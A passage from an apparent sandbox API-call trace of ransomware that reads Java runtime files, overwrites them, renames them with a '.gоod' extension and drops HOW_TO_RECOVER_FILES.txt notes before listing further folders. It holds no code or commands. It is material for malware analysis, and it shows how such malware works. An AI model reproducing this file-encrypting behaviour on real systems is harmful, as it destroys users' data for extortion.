lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", lpFilePart=0x0) returned 0x32 [0099.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.gоod", lpFilePart=0x0) returned 0x37 [0099.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0099.246] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x375e38b9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4303a)) returned 1 [0099.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0099.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.gоod")) returned 1 [0099.247] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", lpFilePart=0x0) returned 0x32 [0099.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0099.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), fInfoLevelId=0x0, lpFileInformation=0x3530078 | out: lpFileInformation=0x3530078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48)) returned 1 [0099.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0099.247] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", lpFilePart=0x0) returned 0x32 [0099.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0099.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0099.247] GetFileType (hFile=0x7b4) returned 0x1 [0099.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0099.247] GetFileType (hFile=0x7b4) returned 0x1 [0099.247] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1f49bbf8 | out: lpFileSizeHigh=0x1f49bbf8*=0x0) returned 0xc48 [0099.247] ReadFile (in: hFile=0x7b4, lpBuffer=0x3530ef8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb28, lpOverlapped=0x0 | out: lpBuffer=0x3530ef8*, lpNumberOfBytesRead=0x1f49bb28*=0xc48, lpOverlapped=0x0) returned 1 [0099.595] CloseHandle (hObject=0x7b4) returned 1 [0099.936] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0101.502] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", lpFilePart=0x0) returned 0x32 [0101.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0101.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.503] GetFileType (hFile=0x20c) returned 0x1 [0101.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0101.503] GetFileType (hFile=0x20c) returned 0x1 [0101.503] WriteFile (in: hFile=0x20c, lpBuffer=0x354c550*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x1f49ba38, lpOverlapped=0x0 | out: lpBuffer=0x354c550*, lpNumberOfBytesWritten=0x1f49ba38*=0xc50, lpOverlapped=0x0) returned 1 [0101.504] CloseHandle (hObject=0x20c) returned 1 [0101.504] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", lpFilePart=0x0) returned 0x32 [0101.504] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.gоod", lpFilePart=0x0) returned 0x37 [0101.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0101.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x38b7302a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc50)) returned 1 [0101.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0101.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.gоod")) returned 1 [0101.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49b840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0101.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bd60) returned 1 [0101.505] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0101.505] GetFileType (hFile=0x20c) returned 0x1 [0101.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcd0) returned 1 [0101.505] GetFileType (hFile=0x20c) returned 0x1 [0101.506] WriteFile (in: hFile=0x20c, lpBuffer=0x354fb28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49be28, lpOverlapped=0x0 | out: lpBuffer=0x354fb28*, lpNumberOfBytesWritten=0x1f49be28*=0x5d0, lpOverlapped=0x0) returned 1 [0101.507] CloseHandle (hObject=0x20c) returned 1 [0101.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0101.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy", lpFilePart=0x0) returned 0x2d [0101.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0101.509] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.509] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0101.509] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1 [0101.509] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1 [0101.509] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1 [0101.509] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1 [0101.509] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1 [0101.510] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1 [0101.510] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1 [0101.510] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1 [0101.510] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1 [0101.510] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1 [0101.510] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1 [0101.510] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1 [0101.510] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0101.511] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash@2x.gif", cAlternateFileName="SPLASH~1.GIF")) returned 1 [0101.511] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11-lic.gif", cAlternateFileName="SPLASH~2.GIF")) returned 1 [0101.511] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 1 [0101.511] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0101.511] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0101.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0101.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0101.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0101.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy", lpFilePart=0x0) returned 0x2d [0101.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0101.513] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.513] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0101.513] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1 [0101.513] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1 [0101.513] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1 [0101.514] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1 [0101.514] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1 [0101.514] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, 